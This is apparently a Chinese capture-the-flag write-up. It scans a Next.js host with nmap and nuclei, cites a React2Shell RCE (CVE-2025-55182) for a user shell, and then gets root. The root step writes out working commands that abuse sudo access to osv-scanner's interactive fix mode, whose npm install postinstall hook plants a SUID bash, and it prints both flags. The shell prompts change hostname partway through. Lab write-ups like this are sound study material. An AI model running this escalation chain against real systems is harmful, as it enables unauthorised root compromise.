

信息搜集

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
3000/tcp  open  ppp?
|_ http-server-header: Next.js
```

nuclei也能扫到漏洞

```

└─(root@kali)-[~]
└─# nuclei -u http://192.168.0.105:3000

      _____
     /  _  \ /  _  \ /  _  \ /  _  \ /  _  \ /  _  \ /  _  \
    /  _  \ /  _  \ /  _  \ /  _  \ /  _  \ /  _  \ /  _  \
   /  _  \ /  _  \ /  _  \ /  _  \ /  _  \ /  _  \ /  _  \
  /  _  \ /  _  \ /  _  \ /  _  \ /  _  \ /  _  \ /  _  \
 /  _  \ /  _  \ /  _  \ /  _  \ /  _  \ /  _  \ /  _  \
/  _  \ /  _  \ /  _  \ /  _  \ /  _  \ /  _  \ /  _  \

v3.8.0

projectdiscovery.io

[INF] Current nuclei version: v3.8.0 (outdated)
[INF] Current nuclei-templates version: v10.4.5 (latest)
[INF] New templates added in latest release: 86
[INF] Templates loaded for current scan: 10447
[INF] Executing 10430 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 17 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 2389 (Reduced 2256 Requests)
[CVE-2025-55184] [http] [high] http://192.168.0.105:3000

```

CVE-2025-55182 (React2Shell)

```
|| React2Shell - Next.js RCE Shell
|| Target: http://192.168.0.105:3000
```

```
ubuntu@target:/opt/CVE-2025-55182$ cat /home/react2shell/user.txt
flag{266a1f7c2e2345169d3bc448da45eae6}
```

```
# 写入包含 lodash 依赖的 lockfile
cat > package-lock.json << EOF
{
```

```

"name": "pwn", "version": "1.0.0",
"lockfileVersion": 3, "requires": true,
"packages": {
  "": {
    "name": "pwn", "version": "1.0.0",
    "hasInstallScript": true,
    "dependencies": { "lodash": "4.17.20" }
  },
  "node_modules/lodash": {
    "version": "4.17.20",
    "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.20.tgz",
    "integrity": "sha512-mkDJC4fiG4EEEEfMHR0Hxr3Erxv4B4URxIVS1SJGxzMxLwF1C2GdMho480QQpgNTKq+GgK8JMQ1vv1w5B5K8YMQ=="
  }
}
}
EOF

# 通过 script + printf 模拟 TUI 按键: ↓ → ENTER → y → ENTER
( sleep 25; printf "\x1b[B"; sleep 1; printf "\r"; sleep 2; printf "y"; sleep 1;
printf "\r" ) | \
  timeout 60 script -qc \
    "sudo /root/osv-scanner fix --manifest package.json --lockfile package-
lock.json --interactive" \
    /dev/null

ls -la /home/react2shell/rootbash
# -rwsr-xr-x 1 root root 1298416 Jul 12 09:49 /home/react2shell/rootbash

```

TUI 界面:

```

| Actions:
|   > Modify lockfile in-place
|     Re-lock project (fixes 0/0 vulns)

```

↓ 方向键选择 "Re-lock project" → ENTER → 确认后执行 npm install, postinstall 创建 SUID bash。

Root Flag

```

react2shell@relax:~$ ./rootbash -p
rootbash-5.2# cat /root/root.txt
flag{7f791f89aca4f442da5d968f1d01eedb}

```

FLAG

类型	Flag
User	flag{266a1f7c2e2345169d3bc448da45eae6}
Root	flag{7f791f89aca4f442da5d968f1d01eedb}

